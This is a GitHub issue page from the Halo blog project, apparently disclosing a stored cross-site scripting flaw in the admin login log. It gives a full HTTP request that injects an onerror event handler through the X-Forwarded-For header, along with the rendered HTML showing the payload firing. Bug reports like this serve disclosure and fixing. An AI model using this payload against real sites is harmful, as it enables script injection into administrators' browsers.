

[New issue](#)[Jump to bottom](#)

These is A stored xss vulnerability #126

Closed4 of 6 tasks

Artemis1029 opened this issue on Apr 3, 2019 · 2 comments

Labels

kind/bug

vulnerability

Artemis1029 commented on Apr 3, 2019 · edited

我确定我已经查看了 (标注 [] 为 [x])

- ☒ Halo 使用文档
- ☒ Github Wiki 常见问题
- ☒ 其他 Issues

我要申请 (标注 [] 为 [x])

- ☒ BUG 反馈
- ☐ 添加新的特性或者功能
- ☐ 请求技术支持

Bug Report

In [issue 9](#), someone reported two storage XSS, and you have fixed, but the Second XSS. But it still has another output point `x-Forwarded-For` payload HTTP Requests

```
POST /admin/getLogin HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.47 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer:
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 56
Connection: close
Cookie: JSESSIONID=
X-Forwarded-For: 127.0.0.1 src=1 onerror=alert(123)>0.0.2

loginName=asas&loginPwd=asas
```

仪表盘 邮件选项

1
文章
查看所有

1
评论
查看所有

0
附件
上传图片

0
成立天数
2019-04-04

最新文章

| 标题 | 状态 |
|-------------|-----|
| Hello Halo! | 已发布 |

最新评论

| 评论者 | 评论页面 | 内容 | 状态 |
|---------|-------------|---------|-----|
| ruibaby | Hello Halo! | 欢迎, 欢迎! | 已发布 |

最新日志

| 事件 | 结果 | IP | 日期 |
|------|---|-----------|------------------|
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:22 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:19 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:19 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:19 |

123
确定

最新文章

| 标题 | 状态 | 日期 |
|-------------|-----|-------|
| Hello Halo! | 已发布 | 20分钟前 |

最新评论

| 评论者 | 评论页面 | 内容 | 状态 | 日期 |
|---------|-------------|---------|-----|-------|
| ruibaby | Hello Halo! | 欢迎, 欢迎! | 已发布 | 20分钟前 |

最新日志

| 事件 | 结果 | IP | 日期 |
|------|---|------------|------------------|
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:22 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:19 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2' | 2019-04-04 10:19 |
| 登录后台 | 登录失败[asas,asas] | 127.0.0.2 | 2019-04-04 10:19 |

```
<td>登录后台</td>
<td>登录失败[asas,as<img src=1 onerror=alert(1)>as]</td>
</td>
127.
event
0.0.2
</td>
<td>2019-04-04 10:22</td>
</tr>
<tr>=</tr>
<tr>=</tr>
<tr>=</tr>
</tbody>
</table>
::after
```

g-6.col-x... > div.box-box-primary > div.box-body.table-responsive.no-padding > table.table.table-hover.text-center > tbody > tr > td > 过滤样式 +

伪元素

此元素

元素 {

img {

vertical-align: middle;

img {

border: 0;

* {

ruibaby commented on Apr 3, 2019

Member

@Artemis1029 好的,我们会尽快处理该问题,非常感谢你的反馈.

- ruibaby added the kind/bug label on Apr 4, 2019
- JohnNiang added the vulnerability label on Apr 4, 2019

ruibaby commented on May 28, 2019

Member

准备发布 v1, 所以关闭该 issue.

ruibaby closed this as completed on May 28, 2019

Assignees
No one assigned

Labels
kind/bug vulnerability

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

3 participants